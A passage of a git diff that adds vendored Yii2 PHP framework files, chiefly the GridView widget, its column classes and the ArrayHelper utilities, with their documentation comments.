$this->name, + 'multiple' => $this->multiple, + 'checkAll' => $name, + ]); + $this->grid->getView()->registerJs("jQuery('#$id').yiiGridView('setSelectionColumn', $options);"); + + if ($this->header !== null || !$this->multiple) { + return parent::renderHeaderCellContent(); + } else { + return Html::checkBox($name, false, ['class' => 'select-on-check-all']); + } + } + + /** + * @inheritdoc + */ + protected function renderDataCellContent($model, $key, $index) + { + if ($this->checkboxOptions instanceof Closure) { + $options = call_user_func($this->checkboxOptions, $model, $key, $index, $this); + } else { + $options = $this->checkboxOptions; + if (!isset($options['value'])) { + $options['value'] = is_array($key) ? json_encode($key) : $key; + } + } + + return Html::checkbox($this->name, !empty($options['checked']), $options); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/Column.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/Column.php new file mode 100644 index 00000000..c5ab3913 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/Column.php @@ -0,0 +1,163 @@ + + * @since 2.0 + */ +class Column extends Object +{ + /** + * @var GridView the grid view object that owns this column. + */ + public $grid; + /** + * @var string the header cell content. Note that it will not be HTML-encoded. + */ + public $header; + /** + * @var string the footer cell content. Note that it will not be HTML-encoded. + */ + public $footer; + /** + * @var callable This is a callable that will be used to generated the content of each cell. + * The signature of the function should be the following: `function ($model, $key, $index, $column)`. + */ + public $content; + /** + * @var boolean whether this column is visible. Defaults to true. + */ + public $visible = true; + /** + * @var array the HTML attributes for the column group tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var array the HTML attributes for the header cell tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $headerOptions = []; + /** + * @var array|\Closure the HTML attributes for the data cell tag. This can either be an array of + * attributes or an anonymous function ([[Closure]]) that returns such an array. + * The signature of the function should be the following: `function ($model, $key, $index, $column)`. + * A function may be used to assign different attributes to different rows based on the data in that row. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $contentOptions = []; + /** + * @var array the HTML attributes for the footer cell tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $footerOptions = []; + /** + * @var array the HTML attributes for the filter cell tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $filterOptions = []; + + + /** + * Renders the header cell. + */ + public function renderHeaderCell() + { + return Html::tag('th', $this->renderHeaderCellContent(), $this->headerOptions); + } + + /** + * Renders the footer cell. + */ + public function renderFooterCell() + { + return Html::tag('td', $this->renderFooterCellContent(), $this->footerOptions); + } + + /** + * Renders a data cell. + * @param mixed $model the data model being rendered + * @param mixed $key the key associated with the data model + * @param integer $index the zero-based index of the data item among the item array returned by [[GridView::dataProvider]]. + * @return string the rendering result + */ + public function renderDataCell($model, $key, $index) + { + if ($this->contentOptions instanceof Closure) { + $options = call_user_func($this->contentOptions, $model, $key, $index, $this); + } else { + $options = $this->contentOptions; + } + return Html::tag('td', $this->renderDataCellContent($model, $key, $index), $options); + } + + /** + * Renders the filter cell. + */ + public function renderFilterCell() + { + return Html::tag('td', $this->renderFilterCellContent(), $this->filterOptions); + } + + /** + * Renders the header cell content. + * The default implementation simply renders [[header]]. + * This method may be overridden to customize the rendering of the header cell. + * @return string the rendering result + */ + protected function renderHeaderCellContent() + { + return trim($this->header) !== '' ? $this->header : $this->grid->emptyCell; + } + + /** + * Renders the footer cell content. + * The default implementation simply renders [[footer]]. + * This method may be overridden to customize the rendering of the footer cell. + * @return string the rendering result + */ + protected function renderFooterCellContent() + { + return trim($this->footer) !== '' ? $this->footer : $this->grid->emptyCell; + } + + /** + * Renders the data cell content. + * @param mixed $model the data model + * @param mixed $key the key associated with the data model + * @param integer $index the zero-based index of the data model among the models array returned by [[GridView::dataProvider]]. + * @return string the rendering result + */ + protected function renderDataCellContent($model, $key, $index) + { + if ($this->content !== null) { + return call_user_func($this->content, $model, $key, $index, $this); + } else { + return $this->grid->emptyCell; + } + } + + /** + * Renders the filter cell content. + * The default implementation simply renders a space. + * This method may be overridden to customize the rendering of the filter cell (if any). + * @return string the rendering result + */ + protected function renderFilterCellContent() + { + return $this->grid->emptyCell; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/DataColumn.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/DataColumn.php new file mode 100644 index 00000000..c32af018 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/DataColumn.php @@ -0,0 +1,198 @@ + + * @since 2.0 + */ +class DataColumn extends Column +{ + /** + * @var string the attribute name associated with this column. When neither [[content]] nor [[value]] + * is specified, the value of the specified attribute will be retrieved from each data model and displayed. + * + * Also, if [[label]] is not specified, the label associated with the attribute will be displayed. + */ + public $attribute; + /** + * @var string label to be displayed in the [[header|header cell]] and also to be used as the sorting + * link label when sorting is enabled for this column. + * If it is not set and the models provided by the GridViews data provider are instances + * of [[\yii\db\ActiveRecord]], the label will be determined using [[\yii\db\ActiveRecord::getAttributeLabel()]]. + * Otherwise [[\yii\helpers\Inflector::camel2words()]] will be used to get a label. + */ + public $label; + /** + * @var string|\Closure an anonymous function that returns the value to be displayed for every data model. + * The signature of this function is `function ($model, $key, $index, $column)`. + * If this is not set, `$model[$attribute]` will be used to obtain the value. + * + * You may also set this property to a string representing the attribute name to be displayed in this column. + * This can be used when the attribute to be displayed is different from the [[attribute]] that is used for + * sorting and filtering. + */ + public $value; + /** + * @var string|array in which format should the value of each data model be displayed as (e.g. `"raw"`, `"text"`, `"html"`, + * `['date', 'php:Y-m-d']`). Supported formats are determined by the [[GridView::formatter|formatter]] used by + * the [[GridView]]. Default format is "text" which will format the value as an HTML-encoded plain text when + * [[\yii\i18n\Formatter]] is used as the [[GridView::$formatter|formatter]] of the GridView. + */ + public $format = 'text'; + /** + * @var boolean whether to allow sorting by this column. If true and [[attribute]] is found in + * the sort definition of [[GridView::dataProvider]], then the header cell of this column + * will contain a link that may trigger the sorting when being clicked. + */ + public $enableSorting = true; + /** + * @var array the HTML attributes for the link tag in the header cell + * generated by [[\yii\data\Sort::link]] when sorting is enabled for this column. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $sortLinkOptions = []; + /** + * @var string|array|boolean the HTML code representing a filter input (e.g. a text field, a dropdown list) + * that is used for this data column. This property is effective only when [[GridView::filterModel]] is set. + * + * - If this property is not set, a text field will be generated as the filter input; + * - If this property is an array, a dropdown list will be generated that uses this property value as + * the list options. + * - If you don't want a filter for this data column, set this value to be false. + */ + public $filter; + /** + * @var array the HTML attributes for the filter input fields. This property is used in combination with + * the [[filter]] property. When [[filter]] is not set or is an array, this property will be used to + * render the HTML attributes for the generated filter input fields. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $filterInputOptions = ['class' => 'form-control', 'id' => null]; + + + /** + * @inheritdoc + */ + protected function renderHeaderCellContent() + { + if ($this->header !== null || $this->label === null && $this->attribute === null) { + return parent::renderHeaderCellContent(); + } + + $provider = $this->grid->dataProvider; + + if ($this->label === null) { + if ($provider instanceof ActiveDataProvider && $provider->query instanceof ActiveQueryInterface) { + /* @var $model Model */ + $model = new $provider->query->modelClass; + $label = $model->getAttributeLabel($this->attribute); + } else { + $models = $provider->getModels(); + if (($model = reset($models)) instanceof Model) { + /* @var $model Model */ + $label = $model->getAttributeLabel($this->attribute); + } else { + $label = Inflector::camel2words($this->attribute); + } + } + } else { + $label = $this->label; + } + + if ($this->attribute !== null && $this->enableSorting && + ($sort = $provider->getSort()) !== false && $sort->hasAttribute($this->attribute)) { + return $sort->link($this->attribute, array_merge($this->sortLinkOptions, ['label' => Html::encode($label)])); + } else { + return Html::encode($label); + } + } + + /** + * @inheritdoc + */ + protected function renderFilterCellContent() + { + if (is_string($this->filter)) { + return $this->filter; + } + + $model = $this->grid->filterModel; + + if ($this->filter !== false && $model instanceof Model && $this->attribute !== null && $model->isAttributeActive($this->attribute)) { + if ($model->hasErrors($this->attribute)) { + Html::addCssClass($this->filterOptions, 'has-error'); + $error = Html::error($model, $this->attribute, $this->grid->filterErrorOptions); + } else { + $error = ''; + } + if (is_array($this->filter)) { + $options = array_merge(['prompt' => ''], $this->filterInputOptions); + return Html::activeDropDownList($model, $this->attribute, $this->filter, $options) . ' ' . $error; + } else { + return Html::activeTextInput($model, $this->attribute, $this->filterInputOptions) . ' ' . $error; + } + } else { + return parent::renderFilterCellContent(); + } + } + + /** + * Returns the data cell value. + * @param mixed $model the data model + * @param mixed $key the key associated with the data model + * @param integer $index the zero-based index of the data model among the models array returned by [[GridView::dataProvider]]. + * @return string the data cell value + */ + public function getDataCellValue($model, $key, $index) + { + if ($this->value !== null) { + if (is_string($this->value)) { + return ArrayHelper::getValue($model, $this->value); + } else { + return call_user_func($this->value, $model, $key, $index, $this); + } + } elseif ($this->attribute !== null) { + return ArrayHelper::getValue($model, $this->attribute); + } + return null; + } + + /** + * @inheritdoc + */ + protected function renderDataCellContent($model, $key, $index) + { + if ($this->content === null) { + return $this->grid->formatter->format($this->getDataCellValue($model, $key, $index), $this->format); + } else { + return parent::renderDataCellContent($model, $key, $index); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/GridView.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/GridView.php new file mode 100644 index 00000000..75dc71ff --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/GridView.php @@ -0,0 +1,529 @@ + + * @since 2.0 + */ +class GridView extends BaseListView +{ + const FILTER_POS_HEADER = 'header'; + const FILTER_POS_FOOTER = 'footer'; + const FILTER_POS_BODY = 'body'; + + /** + * @var string the default data column class if the class name is not explicitly specified when configuring a data column. + * Defaults to 'yii\grid\DataColumn'. + */ + public $dataColumnClass; + /** + * @var string the caption of the grid table + * @see captionOptions + */ + public $caption; + /** + * @var array the HTML attributes for the caption element. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + * @see caption + */ + public $captionOptions = []; + /** + * @var array the HTML attributes for the grid table element. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $tableOptions = ['class' => 'table table-striped table-bordered']; + /** + * @var array the HTML attributes for the container tag of the grid view. + * The "tag" element specifies the tag name of the container element and defaults to "div". + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'grid-view']; + /** + * @var array the HTML attributes for the table header row. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $headerRowOptions = []; + /** + * @var array the HTML attributes for the table footer row. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $footerRowOptions = []; + /** + * @var array|Closure the HTML attributes for the table body rows. This can be either an array + * specifying the common HTML attributes for all body rows, or an anonymous function that + * returns an array of the HTML attributes. The anonymous function will be called once for every + * data model returned by [[dataProvider]]. It should have the following signature: + * + * ```php + * function ($model, $key, $index, $grid) + * ``` + * + * - `$model`: the current data model being rendered + * - `$key`: the key value associated with the current data model + * - `$index`: the zero-based index of the data model in the model array returned by [[dataProvider]] + * - `$grid`: the GridView object + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $rowOptions = []; + /** + * @var Closure an anonymous function that is called once BEFORE rendering each data model. + * It should have the similar signature as [[rowOptions]]. The return result of the function + * will be rendered directly. + */ + public $beforeRow; + /** + * @var Closure an anonymous function that is called once AFTER rendering each data model. + * It should have the similar signature as [[rowOptions]]. The return result of the function + * will be rendered directly. + */ + public $afterRow; + /** + * @var boolean whether to show the header section of the grid table. + */ + public $showHeader = true; + /** + * @var boolean whether to show the footer section of the grid table. + */ + public $showFooter = false; + /** + * @var boolean whether to show the grid view if [[dataProvider]] returns no data. + */ + public $showOnEmpty = true; + /** + * @var array|Formatter the formatter used to format model attribute values into displayable texts. + * This can be either an instance of [[Formatter]] or an configuration array for creating the [[Formatter]] + * instance. If this property is not set, the "formatter" application component will be used. + */ + public $formatter; + /** + * @var array grid column configuration. Each array element represents the configuration + * for one particular grid column. For example, + * + * ```php + * [ + * ['class' => SerialColumn::className()], + * [ + * 'class' => DataColumn::className(), + * 'attribute' => 'name', + * 'format' => 'text', + * 'label' => 'Name', + * ], + * ['class' => CheckboxColumn::className()], + * ] + * ``` + * + * If a column is of class [[DataColumn]], the "class" element can be omitted. + * + * As a shortcut format, a string may be used to specify the configuration of a data column + * which only contains "attribute", "format", and/or "label" options: `"attribute:format:label"`. + * For example, the above "name" column can also be specified as: `"name:text:Name"`. + * Both "format" and "label" are optional. They will take default values if absent. + */ + public $columns = []; + /** + * @var string the HTML display when the content of a cell is empty + */ + public $emptyCell = ' '; + /** + * @var \yii\base\Model the model that keeps the user-entered filter data. When this property is set, + * the grid view will enable column-based filtering. Each data column by default will display a text field + * at the top that users can fill in to filter the data. + * + * Note that in order to show an input field for filtering, a column must have its [[DataColumn::attribute]] + * property set or have [[DataColumn::filter]] set as the HTML code for the input field. + * + * When this property is not set (null) the filtering feature is disabled. + */ + public $filterModel; + /** + * @var string|array the URL for returning the filtering result. [[Url::to()]] will be called to + * normalize the URL. If not set, the current controller action will be used. + * When the user makes change to any filter input, the current filtering inputs will be appended + * as GET parameters to this URL. + */ + public $filterUrl; + /** + * @var string additional jQuery selector for selecting filter input fields + */ + public $filterSelector; + /** + * @var string whether the filters should be displayed in the grid view. Valid values include: + * + * - [[FILTER_POS_HEADER]]: the filters will be displayed on top of each column's header cell. + * - [[FILTER_POS_BODY]]: the filters will be displayed right below each column's header cell. + * - [[FILTER_POS_FOOTER]]: the filters will be displayed below each column's footer cell. + */ + public $filterPosition = self::FILTER_POS_BODY; + /** + * @var array the HTML attributes for the filter row element. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $filterRowOptions = ['class' => 'filters']; + /** + * @var array the options for rendering the filter error summary. + * Please refer to [[Html::errorSummary()]] for more details about how to specify the options. + * @see renderErrors() + */ + public $filterErrorSummaryOptions = ['class' => 'error-summary']; + /** + * @var array the options for rendering every filter error message. + * This is mainly used by [[Html::error()]] when rendering an error message next to every filter input field. + */ + public $filterErrorOptions = ['class' => 'help-block']; + /** + * @var string the layout that determines how different sections of the list view should be organized. + * The following tokens will be replaced with the corresponding section contents: + * + * - `{summary}`: the summary section. See [[renderSummary()]]. + * - `{errors}`: the filter model error summary. See [[renderErrors()]]. + * - `{items}`: the list items. See [[renderItems()]]. + * - `{sorter}`: the sorter. See [[renderSorter()]]. + * - `{pager}`: the pager. See [[renderPager()]]. + */ + public $layout = "{summary}\n{items}\n{pager}"; + + + /** + * Initializes the grid view. + * This method will initialize required property values and instantiate [[columns]] objects. + */ + public function init() + { + parent::init(); + if ($this->formatter == null) { + $this->formatter = Yii::$app->getFormatter(); + } elseif (is_array($this->formatter)) { + $this->formatter = Yii::createObject($this->formatter); + } + if (!$this->formatter instanceof Formatter) { + throw new InvalidConfigException('The "formatter" property must be either a Format object or a configuration array.'); + } + if (!isset($this->filterRowOptions['id'])) { + $this->filterRowOptions['id'] = $this->options['id'] . '-filters'; + } + + $this->initColumns(); + } + + /** + * Runs the widget. + */ + public function run() + { + $id = $this->options['id']; + $options = Json::encode($this->getClientOptions()); + $view = $this->getView(); + GridViewAsset::register($view); + $view->registerJs("jQuery('#$id').yiiGridView($options);"); + parent::run(); + } + + /** + * Renders validator errors of filter model. + * @return string the rendering result. + */ + public function renderErrors() + { + if ($this->filterModel instanceof Model && $this->filterModel->hasErrors()) { + return Html::errorSummary($this->filterModel, $this->filterErrorSummaryOptions); + } else { + return ''; + } + } + + /** + * @inheritdoc + */ + public function renderSection($name) + { + switch ($name) { + case "{errors}": + return $this->renderErrors(); + default: + return parent::renderSection($name); + } + } + + /** + * Returns the options for the grid view JS widget. + * @return array the options + */ + protected function getClientOptions() + { + $filterUrl = isset($this->filterUrl) ? $this->filterUrl : Yii::$app->request->url; + $id = $this->filterRowOptions['id']; + $filterSelector = "#$id input, #$id select"; + if (isset($this->filterSelector)) { + $filterSelector .= ', ' . $this->filterSelector; + } + + return [ + 'filterUrl' => Url::to($filterUrl), + 'filterSelector' => $filterSelector, + ]; + } + + /** + * Renders the data models for the grid view. + */ + public function renderItems() + { + $caption = $this->renderCaption(); + $columnGroup = $this->renderColumnGroup(); + $tableHeader = $this->showHeader ? $this->renderTableHeader() : false; + $tableBody = $this->renderTableBody(); + $tableFooter = $this->showFooter ? $this->renderTableFooter() : false; + $content = array_filter([ + $caption, + $columnGroup, + $tableHeader, + $tableFooter, + $tableBody, + ]); + + return Html::tag('table', implode("\n", $content), $this->tableOptions); + } + + /** + * Renders the caption element. + * @return bool|string the rendered caption element or `false` if no caption element should be rendered. + */ + public function renderCaption() + { + if (!empty($this->caption)) { + return Html::tag('caption', $this->caption, $this->captionOptions); + } else { + return false; + } + } + + /** + * Renders the column group HTML. + * @return bool|string the column group HTML or `false` if no column group should be rendered. + */ + public function renderColumnGroup() + { + $requireColumnGroup = false; + foreach ($this->columns as $column) { + /* @var $column Column */ + if (!empty($column->options)) { + $requireColumnGroup = true; + break; + } + } + if ($requireColumnGroup) { + $cols = []; + foreach ($this->columns as $column) { + $cols[] = Html::tag('col', '', $column->options); + } + + return Html::tag('colgroup', implode("\n", $cols)); + } else { + return false; + } + } + + /** + * Renders the table header. + * @return string the rendering result. + */ + public function renderTableHeader() + { + $cells = []; + foreach ($this->columns as $column) { + /* @var $column Column */ + $cells[] = $column->renderHeaderCell(); + } + $content = Html::tag('tr', implode('', $cells), $this->headerRowOptions); + if ($this->filterPosition == self::FILTER_POS_HEADER) { + $content = $this->renderFilters() . $content; + } elseif ($this->filterPosition == self::FILTER_POS_BODY) { + $content .= $this->renderFilters(); + } + + return "\n" . $content . "\n"; + } + + /** + * Renders the table footer. + * @return string the rendering result. + */ + public function renderTableFooter() + { + $cells = []; + foreach ($this->columns as $column) { + /* @var $column Column */ + $cells[] = $column->renderFooterCell(); + } + $content = Html::tag('tr', implode('', $cells), $this->footerRowOptions); + if ($this->filterPosition == self::FILTER_POS_FOOTER) { + $content .= $this->renderFilters(); + } + + return "\n" . $content . "\n"; + } + + /** + * Renders the filter. + * @return string the rendering result. + */ + public function renderFilters() + { + if ($this->filterModel !== null) { + $cells = []; + foreach ($this->columns as $column) { + /* @var $column Column */ + $cells[] = $column->renderFilterCell(); + } + + return Html::tag('tr', implode('', $cells), $this->filterRowOptions); + } else { + return ''; + } + } + + /** + * Renders the table body. + * @return string the rendering result. + */ + public function renderTableBody() + { + $models = array_values($this->dataProvider->getModels()); + $keys = $this->dataProvider->getKeys(); + $rows = []; + foreach ($models as $index => $model) { + $key = $keys[$index]; + if ($this->beforeRow !== null) { + $row = call_user_func($this->beforeRow, $model, $key, $index, $this); + if (!empty($row)) { + $rows[] = $row; + } + } + + $rows[] = $this->renderTableRow($model, $key, $index); + + if ($this->afterRow !== null) { + $row = call_user_func($this->afterRow, $model, $key, $index, $this); + if (!empty($row)) { + $rows[] = $row; + } + } + } + + if (empty($rows)) { + $colspan = count($this->columns); + + return "\n" . $this->renderEmpty() . "\n"; + } else { + return "\n" . implode("\n", $rows) . "\n"; + } + } + + /** + * Renders a table row with the given data model and key. + * @param mixed $model the data model to be rendered + * @param mixed $key the key associated with the data model + * @param integer $index the zero-based index of the data model among the model array returned by [[dataProvider]]. + * @return string the rendering result + */ + public function renderTableRow($model, $key, $index) + { + $cells = []; + /* @var $column Column */ + foreach ($this->columns as $column) { + $cells[] = $column->renderDataCell($model, $key, $index); + } + if ($this->rowOptions instanceof Closure) { + $options = call_user_func($this->rowOptions, $model, $key, $index, $this); + } else { + $options = $this->rowOptions; + } + $options['data-key'] = is_array($key) ? json_encode($key) : (string)$key; + + return Html::tag('tr', implode('', $cells), $options); + } + + /** + * Creates column objects and initializes them. + */ + protected function initColumns() + { + if (empty($this->columns)) { + $this->guessColumns(); + } + foreach ($this->columns as $i => $column) { + if (is_string($column)) { + $column = $this->createDataColumn($column); + } else { + $column = Yii::createObject(array_merge([ + 'class' => $this->dataColumnClass ? : DataColumn::className(), + 'grid' => $this, + ], $column)); + } + if (!$column->visible) { + unset($this->columns[$i]); + continue; + } + $this->columns[$i] = $column; + } + } + + /** + * Creates a [[DataColumn]] object based on a string in the format of "attribute:format:label". + * @param string $text the column specification string + * @return DataColumn the column instance + * @throws InvalidConfigException if the column specification is invalid + */ + protected function createDataColumn($text) + { + if (!preg_match('/^([^:]+)(:(\w*))?(:(.*))?$/', $text, $matches)) { + throw new InvalidConfigException('The column must be specified in the format of "attribute", "attribute:format" or "attribute:format:label"'); + } + + return Yii::createObject([ + 'class' => $this->dataColumnClass ? : DataColumn::className(), + 'grid' => $this, + 'attribute' => $matches[1], + 'format' => isset($matches[3]) ? $matches[3] : 'text', + 'label' => isset($matches[5]) ? $matches[5] : null, + ]); + } + + /** + * This function tries to guess the columns to show from the given data + * if [[columns]] are not explicitly specified. + */ + protected function guessColumns() + { + $models = $this->dataProvider->getModels(); + $model = reset($models); + if (is_array($model) || is_object($model)) { + foreach ($model as $name => $value) { + $this->columns[] = $name; + } + } else { + throw new InvalidConfigException('Unable to generate columns from the data. Please manually configure the "columns" property.'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/GridViewAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/GridViewAsset.php new file mode 100644 index 00000000..0403e9f5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/GridViewAsset.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class GridViewAsset extends AssetBundle +{ + public $sourcePath = '@yii/assets'; + public $js = [ + 'yii.gridView.js', + ]; + public $depends = [ + 'yii\web\YiiAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/grid/SerialColumn.php b/php/yii2/basic/vendor/yiisoft/yii2/grid/SerialColumn.php new file mode 100644 index 00000000..c13b7313 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/grid/SerialColumn.php @@ -0,0 +1,45 @@ + [ + * // ... + * [ + * 'class' => 'yii\grid\SerialColumn', + * // you may configure additional properties here + * ], + * ] + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class SerialColumn extends Column +{ + public $header = '#'; + + + /** + * @inheritdoc + */ + protected function renderDataCellContent($model, $key, $index) + { + $pagination = $this->grid->dataProvider->getPagination(); + if ($pagination !== false) { + return $pagination->getOffset() + $index + 1; + } else { + return $index + 1; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/ArrayHelper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/ArrayHelper.php new file mode 100644 index 00000000..480ad8d3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/ArrayHelper.php @@ -0,0 +1,19 @@ + + * @since 2.0 + */ +class ArrayHelper extends BaseArrayHelper +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseArrayHelper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseArrayHelper.php new file mode 100644 index 00000000..f0aa8427 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseArrayHelper.php @@ -0,0 +1,569 @@ + + * @since 2.0 + */ +class BaseArrayHelper +{ + /** + * Converts an object or an array of objects into an array. + * @param object|array $object the object to be converted into an array + * @param array $properties a mapping from object class names to the properties that need to put into the resulting arrays. + * The properties specified for each class is an array of the following format: + * + * ~~~ + * [ + * 'app\models\Post' => [ + * 'id', + * 'title', + * // the key name in array result => property name + * 'createTime' => 'created_at', + * // the key name in array result => anonymous function + * 'length' => function ($post) { + * return strlen($post->content); + * }, + * ], + * ] + * ~~~ + * + * The result of `ArrayHelper::toArray($post, $properties)` could be like the following: + * + * ~~~ + * [ + * 'id' => 123, + * 'title' => 'test', + * 'createTime' => '2013-01-01 12:00AM', + * 'length' => 301, + * ] + * ~~~ + * + * @param boolean $recursive whether to recursively converts properties which are objects into arrays. + * @return array the array representation of the object + */ + public static function toArray($object, $properties = [], $recursive = true) + { + if (is_array($object)) { + if ($recursive) { + foreach ($object as $key => $value) { + if (is_array($value) || is_object($value)) { + $object[$key] = static::toArray($value, $properties, true); + } + } + } + + return $object; + } elseif (is_object($object)) { + if (!empty($properties)) { + $className = get_class($object); + if (!empty($properties[$className])) { + $result = []; + foreach ($properties[$className] as $key => $name) { + if (is_int($key)) { + $result[$name] = $object->$name; + } else { + $result[$key] = static::getValue($object, $name); + } + } + + return $recursive ? static::toArray($result) : $result; + } + } + if ($object instanceof Arrayable) { + $result = $object->toArray(); + } else { + $result = []; + foreach ($object as $key => $value) { + $result[$key] = $value; + } + } + + return $recursive ? static::toArray($result) : $result; + } else { + return [$object]; + } + } + + /** + * Merges two or more arrays into one recursively. + * If each array has an element with the same string key value, the latter + * will overwrite the former (different from array_merge_recursive). + * Recursive merging will be conducted if both arrays have an element of array + * type and are having the same key. + * For integer-keyed elements, the elements from the latter array will + * be appended to the former array. + * @param array $a array to be merged to + * @param array $b array to be merged from. You can specify additional + * arrays via third argument, fourth argument etc. + * @return array the merged array (the original arrays are not changed.) + */ + public static function merge($a, $b) + { + $args = func_get_args(); + $res = array_shift($args); + while (!empty($args)) { + $next = array_shift($args); + foreach ($next as $k => $v) { + if (is_integer($k)) { + if (isset($res[$k])) { + $res[] = $v; + } else { + $res[$k] = $v; + } + } elseif (is_array($v) && isset($res[$k]) && is_array($res[$k])) { + $res[$k] = self::merge($res[$k], $v); + } else { + $res[$k] = $v; + } + } + } + + return $res; + } + + /** + * Retrieves the value of an array element or object property with the given key or property name. + * If the key does not exist in the array or object, the default value will be returned instead. + * + * The key may be specified in a dot format to retrieve the value of a sub-array or the property + * of an embedded object. In particular, if the key is `x.y.z`, then the returned value would + * be `$array['x']['y']['z']` or `$array->x->y->z` (if `$array` is an object). If `$array['x']` + * or `$array->x` is neither an array nor an object, the default value will be returned. + * Note that if the array already has an element `x.y.z`, then its value will be returned + * instead of going through the sub-arrays. + * + * Below are some usage examples, + * + * ~~~ + * // working with array + * $username = \yii\helpers\ArrayHelper::getValue($_POST, 'username'); + * // working with object + * $username = \yii\helpers\ArrayHelper::getValue($user, 'username'); + * // working with anonymous function + * $fullName = \yii\helpers\ArrayHelper::getValue($user, function ($user, $defaultValue) { + * return $user->firstName . ' ' . $user->lastName; + * }); + * // using dot format to retrieve the property of embedded object + * $street = \yii\helpers\ArrayHelper::getValue($users, 'address.street'); + * ~~~ + * + * @param array|object $array array or object to extract value from + * @param string|\Closure $key key name of the array element, or property name of the object, + * or an anonymous function returning the value. The anonymous function signature should be: + * `function($array, $defaultValue)`. + * @param mixed $default the default value to be returned if the specified array key does not exist. Not used when + * getting value from an object. + * @return mixed the value of the element if found, default value otherwise + * @throws InvalidParamException if $array is neither an array nor an object. + */ + public static function getValue($array, $key, $default = null) + { + if ($key instanceof \Closure) { + return $key($array, $default); + } + + if (is_array($array) && array_key_exists($key, $array)) { + return $array[$key]; + } + + if (($pos = strrpos($key, '.')) !== false) { + $array = static::getValue($array, substr($key, 0, $pos), $default); + $key = substr($key, $pos + 1); + } + + if (is_object($array)) { + return $array->$key; + } elseif (is_array($array)) { + return array_key_exists($key, $array) ? $array[$key] : $default; + } else { + return $default; + } + } + + /** + * Removes an item from an array and returns the value. If the key does not exist in the array, the default value + * will be returned instead. + * + * Usage examples, + * + * ~~~ + * // $array = ['type' => 'A', 'options' => [1, 2]]; + * // working with array + * $type = \yii\helpers\ArrayHelper::remove($array, 'type'); + * // $array content + * // $array = ['options' => [1, 2]]; + * ~~~ + * + * @param array $array the array to extract value from + * @param string $key key name of the array element + * @param mixed $default the default value to be returned if the specified key does not exist + * @return mixed|null the value of the element if found, default value otherwise + */ + public static function remove(&$array, $key, $default = null) + { + if (is_array($array) && (isset($array[$key]) || array_key_exists($key, $array))) { + $value = $array[$key]; + unset($array[$key]); + + return $value; + } + + return $default; + } + + /** + * Indexes an array according to a specified key. + * The input array should be multidimensional or an array of objects. + * + * The key can be a key name of the sub-array, a property name of object, or an anonymous + * function which returns the key value given an array element. + * + * If a key value is null, the corresponding array element will be discarded and not put in the result. + * + * For example, + * + * ~~~ + * $array = [ + * ['id' => '123', 'data' => 'abc'], + * ['id' => '345', 'data' => 'def'], + * ]; + * $result = ArrayHelper::index($array, 'id'); + * // the result is: + * // [ + * // '123' => ['id' => '123', 'data' => 'abc'], + * // '345' => ['id' => '345', 'data' => 'def'], + * // ] + * + * // using anonymous function + * $result = ArrayHelper::index($array, function ($element) { + * return $element['id']; + * }); + * ~~~ + * + * @param array $array the array that needs to be indexed + * @param string|\Closure $key the column name or anonymous function whose result will be used to index the array + * @return array the indexed array + */ + public static function index($array, $key) + { + $result = []; + foreach ($array as $element) { + $value = static::getValue($element, $key); + $result[$value] = $element; + } + + return $result; + } + + /** + * Returns the values of a specified column in an array. + * The input array should be multidimensional or an array of objects. + * + * For example, + * + * ~~~ + * $array = [ + * ['id' => '123', 'data' => 'abc'], + * ['id' => '345', 'data' => 'def'], + * ]; + * $result = ArrayHelper::getColumn($array, 'id'); + * // the result is: ['123', '345'] + * + * // using anonymous function + * $result = ArrayHelper::getColumn($array, function ($element) { + * return $element['id']; + * }); + * ~~~ + * + * @param array $array + * @param string|\Closure $name + * @param boolean $keepKeys whether to maintain the array keys. If false, the resulting array + * will be re-indexed with integers. + * @return array the list of column values + */ + public static function getColumn($array, $name, $keepKeys = true) + { + $result = []; + if ($keepKeys) { + foreach ($array as $k => $element) { + $result[$k] = static::getValue($element, $name); + } + } else { + foreach ($array as $element) { + $result[] = static::getValue($element, $name); + } + } + + return $result; + } + + /** + * Builds a map (key-value pairs) from a multidimensional array or an 